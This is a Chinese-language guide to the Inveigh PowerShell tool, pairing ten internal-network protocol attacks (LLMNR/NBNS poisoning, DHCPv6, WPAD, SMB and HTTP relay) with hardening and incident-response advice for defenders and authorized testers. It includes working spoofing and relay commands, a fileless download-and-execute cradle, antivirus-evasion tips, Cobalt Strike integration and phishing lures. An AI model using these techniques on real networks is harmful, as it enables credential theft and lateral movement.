Inveigh工具实战指南:防御10种内网协议攻击与安全加固
2026/7/3 23:35:55 网站建设 项目流程

1. 项目概述:为什么我们需要Inveigh这样的工具?

在网络安全这个行当里干了十几年,我见过太多因为内部网络协议被滥用而导致的“翻车”现场。很多企业把防火墙、入侵检测系统(IDS)配置得固若金汤,却往往忽略了最基础的内部通信协议——比如ARP、LLMNR、NBNS、DHCPv6这些——它们本身设计时就没怎么考虑安全性,反而成了攻击者从内部撕开防线的绝佳入口。你可能会问,攻击者怎么进到内网?方法太多了,一封钓鱼邮件、一个被恶意利用的U盘,甚至是一个配置不当的访客Wi-Fi,都可能成为起点。一旦攻击者在内网获得一个立足点,他们下一步要做的就是横向移动和权限提升,而利用这些协议缺陷进行欺骗和监听,就是成本最低、效率最高的方法之一。

这时候,像Inveigh这样的工具就登场了。它不是一个用来攻击生产环境的武器,而是一面“镜子”,一个在授权渗透测试中使用的诊断和防御验证工具。它的核心价值在于主动模拟攻击者利用这些协议弱点的行为,从而让你清晰地看到:你的网络在面对ARP欺骗、LLMNR/NBNS投毒、DHCPv6欺骗等攻击时,到底有多脆弱。简单说,Inveigh能帮你回答:“如果有个坏家伙已经在我内网了,他能轻松拿到多少敏感信息?” 通过使用Inveigh,安全团队和网络管理员可以提前发现并修复这些基于协议的攻击面,把防御工作做在攻击发生之前。这不仅仅是技术人员的工具,对于想理解内网威胁模型、提升整体安全水位线的架构师和决策者来说,掌握其原理也至关重要。

2. Inveigh工具深度解析:不只是个监听器

很多人初次接触Inveigh,会把它简单理解为一个高级版的网络嗅探器。这其实低估了它。Inveigh是一个用PowerShell编写的工具集,它的设计哲学是“主动响应式攻击模拟”。它不仅仅被动地监听网络流量,更会主动地参与到网络协议对话中,扮演不应该扮演的角色,从而触发和捕获正常情况下不会暴露的认证信息。

2.1 核心组件与工作原理

Inveigh主要由三大模块构成,它们协同工作,构成了一个完整的内网协议攻击模拟环境。

1. Inveigh:核心引擎这是工具的主模块。它本质上是一个恶意的LLMNR/NBNS/mDNS/DHCPv6服务器和代理。当它运行时,会监听局域网内这些协议的广播查询。例如,当内网一台Windows电脑尝试访问一个不存在的共享路径\\fileserver\share时,如果DNS解析失败,系统会回退使用LLMNR或NBNS进行本地网络广播查询:“谁知道fileserver的地址?” 此时,开启Inveigh的攻击机就会抢先回应:“我知道!它的IP是192.168.1.100(攻击机的IP)”。受害主机会信任这个回应,并将后续的SMB、HTTP等连接请求发送给攻击机。当受害主机尝试进行身份认证时,其NetNTLMv1/v2哈希值就会在认证过程中被Inveigh捕获。

2. Inveigh-Relay:中继攻击模块这是Inveigh的“威力倍增器”。仅仅捕获哈希值有时还不够,因为破解NetNTLMv2哈希需要时间,且强度高的密码可能无法破解。Inveigh-Relay实现了SMB和HTTP的NTLM中继攻击。它不尝试破解哈希,而是实时地将捕获到的认证请求“中继”到网络内的另一台目标机器。如果目标机器接受了这个被中继的认证,攻击者就能以受害用户的身份直接访问目标机器,执行命令、上传文件等。这比离线破解哈希要直接和危险得多。

3. Inveigh-Brute:暴力破解辅助模块这个模块用于在特定场景下辅助攻击。例如,当你知道一个用户名,但不知道密码时,可以结合Inveigh的欺骗功能,强制目标主机向你的攻击机发起包含该用户名的认证请求,从而捕获其哈希进行破解尝试。它更侧重于在已获得部分信息情况下的针对性攻击模拟。

2.2 与其他工具的对比与定位

在渗透测试工具链中,Inveigh占据了一个非常独特且关键的位置。我们常把它和Responder进行比较。Responder是这类工具的先驱,用Python编写,功能强大且广为人知。那么为什么还要有Inveigh?

  • 原生集成优势:Inveigh用PowerShell编写,在Windows环境下(尤其是已经获得权限的Windows主机上)运行无需安装Python环境或其他依赖,执行更为便捷,隐蔽性也相对更好。
  • 模块化与灵活性:Inveigh的模块化设计更清晰。你可以单独运行欺骗功能、单独运行中继功能,或者组合使用。它的参数配置也提供了更细粒度的控制,比如可以精确指定欺骗哪些协议,监听哪些网卡。
  • 中继攻击集成:虽然Responder也能与其他工具配合进行中继,但Inveigh将Inveigh-Relay作为核心组件之一,在工具内部实现了更流畅的联动,简化了中继攻击的流程。
  • Windows生态友好:对于深耕Windows内网渗透的测试者来说,Inveigh与PowerShell Empire、Cobalt Strike等后期利用框架的集成和调用更为自然。

所以,你可以把Inveigh看作是Responder的一个强大、专注于Windows环境的“现代化PowerShell重制版与增强版”。在实际测试中,我经常根据目标环境选择:在Linux攻击机上,我可能首选Responder;而在已经拿下的Windows跳板机上,Inveigh几乎是不二之选。

3. 防御10种常见网络攻击的实操指南

下面,我将结合Inveigh的功能,详细拆解如何模拟并进而防御10种最常见的基于内网协议的攻击。每一部分都会包含攻击原理、Inveigh实操命令、以及最关键的核心防御策略。

3.1 攻击1:LLMNR/NBNS投毒与NetNTLM哈希捕获

这是Inveigh最经典的应用场景。LLMNR和NBNS是Windows系统在DNS解析失败后的备用名称解析协议,但它们基于不可靠的UDP广播,缺乏认证机制。

攻击模拟实操:在已经获得内网权限的主机上,以管理员身份运行PowerShell,导入并执行Inveigh。

# 导入模块 Import-Module .\Inveigh.ps1 # 启动Inveigh,开启LLMNR和NBNS欺骗,并开始捕获哈希 Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y -FileOutput Y

运行后,Inveigh开始监听。当内网有用户误输入共享路径(如\\filserver),其主机会广播LLMNR/NBNS查询。Inveigh会抢先响应,将该名称指向自己的IP。当用户尝试认证时,其NetNTLMv2哈希就会被捕获并显示在控制台。-FileOutput Y参数会将所有捕获的数据(包括哈希)保存到本地日志文件中。

防御策略与深度解析:

  1. 彻底禁用不安全的协议:这是最根本的解决方案。在域组策略(GPO)中,可以统一禁用所有客户端的LLMNR和NBNS。
    • 禁用LLMNR: 计算机配置 -> 管理模板 -> 网络 -> DNS客户端 -> 关闭“启用多播名称解析”,设置为“已启用”。
    • 禁用NBNS: 需要在每个网络接口的TCP/IP高级设置中,关闭“启用LMHOSTS查找”和“启用NetBIOS over TCP/IP”。这可以通过GPO的脚本或首选项推送,但更推荐直接禁用NetBIOS服务。
  2. 启用SMB签名:即使哈希被捕获,如果强制要求SMB通信必须签名,那么中继攻击将无法成功。在域控制器和重要服务器上,应将“Microsoft网络服务器:数字签名通信(始终)”策略设置为“已启用”。对于客户端,可以设置为“已启用”或“如果客户端同意则启用”。
  3. 网络分段与监控:将关键服务器(如域控制器、文件服务器)置于独立的VLAN中,并配置ACL限制不必要的跨网段广播流量。同时,部署网络检测系统(NIDS),监控网络内异常的LLMNR/NBNS响应包,这些响应包的源IP不应该是一台普通的客户端。

注意:禁用这些协议可能影响一些遗留应用或特定网络发现功能。务必在测试环境中先行验证。对于必须使用NetBIOS的环境,确保其被限制在最小的必要网络范围内。

3.2 攻击2:ARP欺骗与中间人攻击

ARP协议用于将IP地址解析为MAC地址,但它没有验证机制。攻击者可以发送伪造的ARP应答包,欺骗目标主机和网关,让双方的流量都流经攻击者主机,从而实现全流量的监听和篡改。

攻击模拟实操:Inveigh本身不直接进行ARP欺骗,但它可以与其他工具(如arpspoof)完美配合。思路是:先通过ARP欺骗将流量导向自己,然后利用Inveigh处理其中的名称解析和认证流量。

# 假设我们使用第三方ARP欺骗工具(需在Windows上寻找替代品,如NirSoft的MACAddressScan或基于WinPcap的工具)完成了ARP欺骗。 # 然后启动Inveigh,专注于处理被引导过来的流量中的认证协议。 Invoke-Inveigh -HTTP Y -Proxy Y -ConsoleOutput Y # -Proxy Y 参数会启动一个恶意的HTTP代理,可以截获并篡改HTTP流量中的认证信息。

在更集成的测试中,我们可能会在Linux攻击机上使用ettercap进行ARP欺骗,同时运行Responder。但在纯Windows内网环境中,ARP欺骗的实现更复杂,通常需要驱动级工具。

防御策略与深度解析:

  1. 部署动态ARP检测:在企业级交换机上启用DAI功能。交换机会维护一个合法的IP-MAC-Port绑定表(通常来自DHCP监听),并拦截所有不符合该表的ARP数据包,从根本上杜绝ARP欺骗。
  2. 使用静态ARP条目:对于关键服务器和网络设备(如网关、域控制器),可以在客户端配置静态ARP条目。但这种方法规模化管理非常困难,不适用于大型网络。
  3. 启用IP源防护:在交换机上启用IPSG,它基于DHCP监听绑定表,只允许从特定端口发出具有合法源IP的数据包,防止攻击者伪装IP。
  4. 网络加密:推广使用HTTPS、IPSec VPN等加密通信。即使流量被劫持,攻击者也无法解密其中的敏感内容。对于内部管理协议,尽可能使用SSH、RDP(配合网络级认证)等加密通道。

3.3 攻击3:DHCPv6攻击与IPv6接管

随着IPv6的普及,新的攻击面也随之打开。Windows系统默认优先使用IPv6。如果网络中没有配置IPv6 DHCP服务器,攻击者可以伪装成DHCPv6服务器,为客户端分配IPv6地址、DNS服务器等,从而将客户端的IPv6流量导向恶意节点。

攻击模拟实操:Inveigh支持DHCPv6欺骗攻击。

Invoke-Inveigh -DHCPv6 Y -DNS Y -DNSType AAAA -DNSHost fe80::20c:29ff:fe1e:1f5 -ConsoleOutput Y
  • -DHCPv6 Y:启用DHCPv6欺骗。
  • -DNS Y-DNSType AAAA:指示Inveigh在DHCPv6响应中通告自己为DNS服务器,并指定DNS记录类型为AAAA(IPv6)。
  • -DNSHost:指定一个欺骗的IPv6地址。当客户端查询任何域名时,都会被解析到这个地址。

防御策略与深度解析:

  1. 明确规划IPv6:不要忽视IPv6。要么全面部署并安全配置IPv6(包括有状态的DHCPv6服务器和安全的NDP防护),要么在不需要的环境中彻底禁用IPv6。最危险的状态就是“默认启用但无人管理”。
  2. 部署RA Guard:在交换机上针对非信任端口(如连接用户终端的端口)启用RA Guard,阻止来自这些端口的非法路由器通告,防止攻击者通过RA消息发布恶意网关。
  3. 部署DHCPv6防护:在企业级交换机上启用DHCPv6防护,只允许来自信任端口(如上联至合法DHCPv6服务器的端口)的DHCPv6响应报文。
  4. 主机防火墙策略:在主机防火墙中,为IPv6配置与IPv4同样严格的入站和出站规则,减少暴露面。

3.4 攻击4:WPAD代理劫持攻击

WPAD是一种让浏览器自动发现网络代理设置的协议。攻击者可以伪装成WPAD服务器,向客户端推送恶意代理配置,使客户端的Web流量全部经过攻击者代理,从而实施SSL剥离、会话劫持等攻击。

攻击模拟实操:Inveigh可以响应WPAD请求。

Invoke-Inveigh -LLMNR Y -NBNS Y -WPAD Y -WPADIP 192.168.1.100 -WPADPort 8080 -Proxy Y -ConsoleOutput Y
  • -WPAD Y:启用WPAD欺骗。
  • -WPADIP-WPADPort:指定恶意代理服务器的IP和端口。
  • -Proxy Y:同时启动内置的HTTP代理服务器,用于处理被引导过来的流量。

当客户端(如IE、Chrome等开启了自动检测设置)发起http://wpad.dat请求时,Inveigh会响应一个PAC文件,指示浏览器将所有流量发送到192.168.1.100:8080

防御策略与深度解析:

  1. 禁用自动代理检测:通过组策略统一关闭客户端的“自动检测设置”。路径:用户配置/计算机配置 -> 管理模板 -> Windows组件 -> Internet Explorer -> 禁用“自动检测设置”。
  2. 注册表加固:直接通过组策略首项或脚本设置注册表项HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections下的默认连接设置,清除自动检测标志。或者设置HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad下的相关项为0。
  3. DNS保护:确保内网DNS服务器上不存在错误的wpad主机记录。如果有必要使用WPAD,应手动创建正确且受控的wpad主机记录,指向合法的代理服务器。
  4. 网络层过滤:在防火墙或交换机上,监控并阻止来自非授权服务器的WPAD相关响应。

3.5 攻击5:SMB中继攻击

这是危害性极高的攻击。攻击者将捕获到的SMB认证请求,实时中继到网络内的另一台机器。如果目标机器接受了该认证,攻击者就能获得在那台机器上的执行权限,而无需破解密码哈希。

攻击模拟实操:这需要用到Inveigh-Relay模块。通常分两步:

# 步骤1:在一台机器上运行Inveigh,捕获哈希并准备中继 Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput Y # 步骤2:在另一台(或同一台)机器上运行Inveigh-Relay,指定中继目标 Import-Module .\Inveigh-Relay.ps1 Invoke-InveighRelay -Target 192.168.1.10 -Command "whoami /all"

Inveigh-Relay会等待Inveigh捕获到SMB认证请求,然后自动将其转发到目标192.168.1.10,并在成功执行指定的命令。更高级的用法可以中继到多个目标,或执行上传木马等操作。

防御策略与深度解析:

  1. 强制实施SMB签名:这是防御SMB中继攻击最有效的手段。对于域环境:
    • 域控制器:必须启用“Microsoft网络服务器:数字签名通信(始终)”。
    • 成员服务器:强烈建议启用“始终”模式。
    • 客户端:启用“Microsoft网络客户端:数字签名通信(始终)”,这可以防止客户端向未签名的服务器发送认证信息。
  2. 启用EPA for SMB:在Windows Server 2016/Windows 10及以上版本中,可以启用SMB的扩展保护(EPA),它通过绑定通道和服务的身份验证,防止凭据转发。
  3. 限制NTLM使用:在域组策略中,通过“网络安全:限制NTLM”策略,尽可能禁用不必要的NTLM认证,强制使用Kerberos。Kerberos协议本身可以抵御中继攻击。
  4. 网络隔离:将不同安全等级的设备划分到不同的VLAN,并严格限制SMB端口(445/TCP)的访问。例如,普通用户终端之间不应能直接访问彼此的445端口。

3.6 攻击6:HTTP/HTTPS认证中继

与SMB中继类似,攻击者可以将捕获到的HTTP NTLM或Basic认证请求,中继到另一个Web应用(如OWA、SharePoint),从而以受害者身份登录。

攻击模拟实操:Inveigh同样可以中继HTTP认证。

# 启动Inveigh,启用HTTP监听和代理 Invoke-Inveigh -HTTP Y -Proxy Y -ConsoleOutput Y # 当捕获到HTTP NTLM认证后,可以手动或通过其他脚本将其中继到目标Web应用。 # Inveigh-Relay也支持HTTP中继,但通常需要更精细的配置来匹配目标Web应用的具体认证端点。

在实际测试中,HTTP中继的成功率取决于目标Web应用是否接受跨协议(从攻击者IP发起的)NTLM认证,以及是否启用了EPA等防护措施。

防御策略与深度解析:

  1. 启用HTTPS并强制使用:确保所有内部Web应用都使用HTTPS,并通过HSTS策略强制浏览器使用。这能有效防止SSL剥离攻击,并增加中间人攻击的难度。
  2. 实施应用层的EPA:对于IIS服务器,确保为使用Windows身份验证的站点启用了“扩展保护”。这能绑定认证与会话,防止凭据被中继到其他服务。
  3. 使用基于表单的认证或现代认证:对于面向内部的Web应用,考虑使用基于表单的认证(结合强会话管理)或OAuth 2.0、OpenID Connect等现代认证协议,替代传统的集成Windows身份验证(IWA)。
  4. 主机头验证与URL限制:在Web服务器配置中,严格验证Host头,并限制应用只响应特定的主机名,减少攻击者利用恶意代理进行中继的机会。

3.7 攻击7:mDNS/NetBIOS名称欺骗

在混合网络(如包含Mac、Linux)中,mDNS被广泛使用。攻击者可以响应mDNS查询,伪装成其他设备(如打印机、AirPlay接收器),诱使用户连接。

攻击模拟实操:Inveigh支持mDNS欺骗。

Invoke-Inveigh -mDNS Y -mDNSTypes A -mDNSHost 192.168.1.100 -mDNSName "My Evil Printer" -ConsoleOutput Y

这会使Inveigh响应针对“My Evil Printer”的mDNS查询,将其指向攻击者的IP。

防御策略与深度解析:

  1. 评估并限制使用:在企业环境中,评估mDNS和NetBIOS的实际业务需求。如无必要,应在主机和网络设备上禁用。
  2. 网络分段:将大量使用这些协议的设备(如IoT设备、打印机)隔离到独立的、访问受限的网络段中。
  3. 使用有管理的名称服务:推动使用企业内部的DNS服务器作为唯一的名称解析源,并通过DHCP选项或组策略统一配置,减少对广播协议的信赖。
  4. 终端安全软件:一些高级的终端检测与响应(EDR)产品可以检测和告警异常的mDNS或NetBIOS响应行为。

3.8 攻击8:DNS欺骗攻击

虽然Inveigh主要针对本地链路协议,但DNS欺骗的原理类似。攻击者通过ARP欺骗或控制路由器等手段成为中间人后,可以篡改DNS响应,将用户引导至钓鱼网站。

防御策略与深度解析:

  1. 部署DNSSEC:在公共域名和内部域名上部署DNSSEC,为DNS响应提供数字签名验证,客户端可以验证响应的真实性,防止篡改。
  2. 使用DNS over HTTPS/TLS:配置客户端使用DoH或DoT,将DNS查询加密传输到可信的DNS解析器,防止网络中的窃听和篡改。
  3. 安全的动态DNS更新:对于内网DNS服务器,配置安全的动态更新(例如,与AD集成,仅允许安全更新),防止攻击者非法添加或修改DNS记录。
  4. 客户端DNS缓存锁定:通过组策略锁定客户端的DNS设置,防止被恶意软件修改。并设置多个可靠的内网DNS服务器。

3.9 攻击9:利用Inveigh进行内网侦察

Inveigh在运行过程中,会被动监听和记录大量的网络广播流量,这些数据本身就是宝贵的情报。

  • 主机发现:通过监听ARP、DHCP、NetBIOS等广播,可以绘制出活跃的主机列表。
  • 服务发现:通过分析捕获到的SMB、HTTP等协议请求,可以推断出网络中存在的文件服务器、Web应用等。
  • 用户行为分析:捕获到的认证尝试中包含了用户名,可以分析内网用户的命名习惯、活跃账户等。

防御策略与深度解析:

  1. 网络流量加密:对管理流量和敏感业务流量进行加密(IPSec、TLS),即使被嗅探,内容也不可读。
  2. 端口安全与802.1X:在交换机上启用端口安全,限制每个端口学习的MAC地址数量,并结合802.1X认证,确保只有授权设备才能接入网络,极大限制了攻击者进行被动监听的位置。
  3. 网络行为分析:部署NTA或NBAD系统,建立网络流量的正常行为基线,能够及时发现异常的广播流量、协议扫描或未授权的主机通信模式。
  4. 最小权限原则:确保每台主机和用户只拥有完成其任务所必需的最小网络访问权限,通过防火墙策略和VLAN ACL进行严格控制。

3.10 攻击10:组合攻击与权限提升链

在实际的高级持续性威胁中,攻击者很少只使用一种技术。他们会将上述多种技术组合,形成攻击链。例如:通过钓鱼邮件获取初始访问 -> 在用户主机上运行Inveigh进行LLMNR投毒 -> 捕获域管理员助理的哈希 -> 中继到文件服务器 -> 利用文件服务器上的漏洞或配置弱点获取系统权限 -> 提取凭据 -> 横向移动到域控制器。

防御策略与深度解析:

  1. 纵深防御体系:没有任何单一技术能防御所有攻击。必须构建一个包含网络层、主机层、应用层、数据层和身份层的纵深防御体系。上述每一种防御措施都是这个体系中的一环。
  2. 持续威胁检测与响应:部署具备高级威胁狩猎能力的EDR和SIEM系统。它们能关联来自多个终端和网络传感器的日志,识别出跨主机的横向移动、异常的身份验证模式(如短时间内同一账户从多个IP登录)、以及Inveigh等工具运行产生的进程、网络和文件特征。
  3. 定期渗透测试与红队演练:这正是使用Inveigh等工具的正确场景。定期聘请专业团队或组织内部红队,模拟真实攻击者的战术、技术和流程,主动发现防御体系中的薄弱环节,并验证现有安全控制措施的有效性。
  4. 安全意识培训:技术手段再强,也难防人为失误。定期对员工进行安全意识培训,使其能够识别钓鱼邮件、避免使用不安全的网络、及时报告异常情况,是切断攻击链起点的关键。

4. Inveigh实战部署与高级配置技巧

了解了攻击与防御原理后,我们来看看如何在实际渗透测试中高效、隐蔽地使用Inveigh。

4.1 环境准备与隐蔽运行

在真实的内网测试中,直接运行一个PowerShell脚本可能会触发防病毒软件警报。因此,需要一些技巧。

1. 内存加载与无文件执行:避免在磁盘上留下Inveigh.ps1文件。可以通过网络下载并直接加载到内存中执行。

# 方法一:从Web服务器加载 IEX (New-Object Net.WebClient).DownloadString('http://your-server/Inveigh.ps1') Invoke-Inveigh -LLMNR Y -ConsoleOutput Y # 方法二:使用Cobalt Strike、Empire等框架的模块加载功能,它们通常有内置的规避技术。

2. 混淆与编码:对PowerShell脚本进行混淆处理,可以绕过一些基于签名的AV检测。可以使用Invoke-Obfuscation等工具。更高级的做法是将其编译成C#程序集,然后通过PowerShell反射加载。

3. 选择性监听与输出控制:为了减少噪音和日志大小,应精确控制Inveigh的行为。

# 只针对特定IP范围或主机名进行欺骗 Invoke-Inveigh -LLMNR Y -NBNS Y -SpooferIPs 192.168.1.100 -SpooferHosts "FILE*, DC*" -ConsoleOutput Y -StatusOutput Y # 限制输出,只显示重要信息(如捕获到的哈希),并将日志输出到文件而非控制台 Invoke-Inveigh -LLMNR Y -NBNS Y -ConsoleOutput N -StatusOutput N -FileOutput Y -OutputDir C:\Windows\Temp\Logs\
  • -SpooferIPs-SpooferHosts可以让你只欺骗特定的IP或匹配特定模式的主机名,避免在大型网络中产生过多干扰。
  • -ConsoleOutput N-StatusOutput N会让运行界面更安静。-FileOutput Y配合-OutputDir可以将捕获的数据静默保存到指定目录。

4.2 与Cobalt Strike等C2框架的集成

在红队行动中,Inveigh通常作为后期横向移动的模块,与Cobalt Strike、Empire等命令与控制框架集成。

在Cobalt Strike中使用:

  1. Inveigh.ps1上传到Cobalt Strike团队服务器。
  2. 在已获得信标的受害主机上,通过powershell-import命令导入模块。
  3. 使用powershellpsinject命令调用Invoke-Inveigh函数。
  4. 捕获的哈希可以通过Cobalt Strike的界面直接看到,或者被自动添加到凭证列表中,方便后续的传递哈希攻击或破解。

这种集成方式使得攻击流程自动化,并且所有流量都封装在C2通道中,隐蔽性更强。

4.3 针对性的欺骗策略

为了提高成功率,需要根据目标网络环境调整策略。

  • 识别主要协议:先运行一个短暂的监听模式(Invoke-Inveigh -Inspect或使用-LLMNR Analyze等参数,具体查看帮助),分析网络中LLMNR、NBNS、mDNS哪种协议的流量最多,然后重点欺骗该协议。
  • 利用业务时间:在员工工作时间启动攻击模拟,此时名称解析请求最活跃。避免在深夜或周末运行,那样可能一无所获。
  • 结合社会工程:向目标用户发送一封包含错误共享链接(如\\project-update\budget.xlsx)的邮件,可以极大地提高LLMNR/NBNS查询触发的概率。

5. 防御体系构建与事件排查实录

防御Inveigh所代表的这类攻击,需要系统性的工作。以下是我根据多年经验总结的 checklist 和排查思路。

5.1 企业内网安全加固清单

你可以将下表作为你下一次安全审计的检查清单:

防御层面具体措施配置方法/检查点预期效果与风险
协议层禁用LLMNR组策略:计算机配置->管理模板->网络->DNS客户端->关闭多播名称解析根除LLMNR投毒风险。可能影响无DNS环境下的对等网络发现。
禁用NetBIOS over TCP/IP网络接口属性->TCP/IPv4高级->WINS标签->禁用NetBIOS根除NBNS投毒风险。影响依赖NetBIOS的旧版应用(如某些财务软件)。
启用SMB签名(强制)组策略:计算机配置->Windows设置->安全设置->本地策略->安全选项中,将服务器和客户端的相关策略设为“已启用”。有效防御SMB中继攻击。可能对高性能文件服务器产生轻微性能影响。
限制NTLM使用组策略:计算机配置->Windows设置->安全设置->本地策略->安全选项->网络安全:限制NTLM推动使用更安全的Kerberos,减少NTLM暴露面。需测试所有应用兼容性。
网络层启用DAI & IPSG在核心/接入交换机上配置。需先启用DHCP Snooping。从根本上防御ARP欺骗和IP地址欺骗。需要交换机支持且配置正确。
启用RA Guard & DHCPv6防护在支持IPv6的交换机上,针对用户端口启用。防御IPv6相关的邻居发现和DHCPv6欺骗攻击。
严格的网络分段划分VLAN,使用ACL限制广播域和关键服务(如SMB 445)的访问。限制攻击横向移动范围,遵循最小权限原则。增加网络管理复杂度。
应用/主机层禁用WPAD自动检测组策略:用户配置->管理模板->Windows组件->Internet Explorer->禁用自动检测设置防御代理劫持攻击。需为需要代理的用户配置明确的代理服务器。
启用IIS的扩展保护在IIS管理器中选择站点->身份验证->Windows身份验证->高级设置->启用扩展保护。防御HTTP认证中继攻击。需要客户端和服务器端共同支持。
部署EDR/终端防护确保所有终端安装并更新EDR/AV软件,启用行为检测。能检测和阻止Inveigh等工具的运行,以及异常的进程、网络行为。
监控与响应部署网络流量分析在关键网段部署NIDS/NTA,配置规则检测异常的LLMNR/NBNS响应、ARP欺骗流量。及时发现内网攻击行为,提供预警。
集中日志审计收集所有主机、网络设备、安全设备的日志到SIEM,关联分析异常登录、横向移动事件。提供攻击事件的全链条视角,便于调查和溯源。
定期红队演练使用Inveigh等工具进行授权的内部攻击模拟。主动发现防御盲点,验证安全控制有效性。

5.2 入侵迹象排查与应急响应

如果怀疑网络正在遭受此类攻击,可以按照以下步骤进行排查:

1. 网络流量分析:

  • 抓包分析:在可疑网段或核心交换机上做端口镜像,使用Wireshark抓包。
    • 过滤器llmnr or nbns or dhcpv6 or arp
    • 关键迹象:同一个LLMNR/NBNS查询收到多个响应;ARP应答中IP地址对应的MAC地址频繁变化或与DHCP服务器记录不符;存在非授权的DHCPv6或RA报文。
  • NetFlow/sFlow分析:检查网络流量分析系统,寻找异常的广播流量模式或从未知MAC/IP发往大量主机的流量。

2. 主机日志分析:

  • Windows安全日志:事件ID 4768(Kerberos认证票证请求)、4769(Kerberos服务票证请求)、4776(NTLM认证)。关注短时间内同一账户从多个不同IP地址发起的NTLM认证失败或成功记录,这可能是中继攻击的迹象。
  • PowerShell日志:启用模块日志、脚本块日志,检查是否有加载或执行Invoke-Inveigh等可疑PowerShell命令的记录。
  • 进程与网络连接:检查是否有未知的PowerShell进程建立了大量网络监听(UDP 5355, 137, 138, 5353; TCP 80, 443等)。

3. 终端取证:

  • 使用EDR工具或Sysinternals Suite中的Process Explorer,TCPView检查可疑进程和连接。
  • 检查计划任务、服务、WMI订阅、注册表自启动项,攻击者可能将Inveigh持久化。
  • 搜索磁盘上是否有Inveigh.log,Inveigh_output.txt等文件。

4. 应急遏制:

  • 网络隔离:立即将疑似被入侵的主机从网络中断开。
  • 重置凭据:如果怀疑域管理员或高权限账户哈希被捕获,应立即重置其密码,并检查其登录会话和令牌。
  • 全面扫描:对受影响网段的所有主机进行恶意软件和异常进程扫描。

防御这类攻击的本质,是缩小攻击面、增强协议安全、加强监控和响应能力。通过理解Inveigh这样的攻击工具如何工作,我们能更有针对性地构建和调整我们的防御策略,让内网不再是攻击者的“后花园”。安全是一个持续的过程,而像Inveigh这样的工具,在防御者手中,就是照亮自身阴影的那盏灯。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询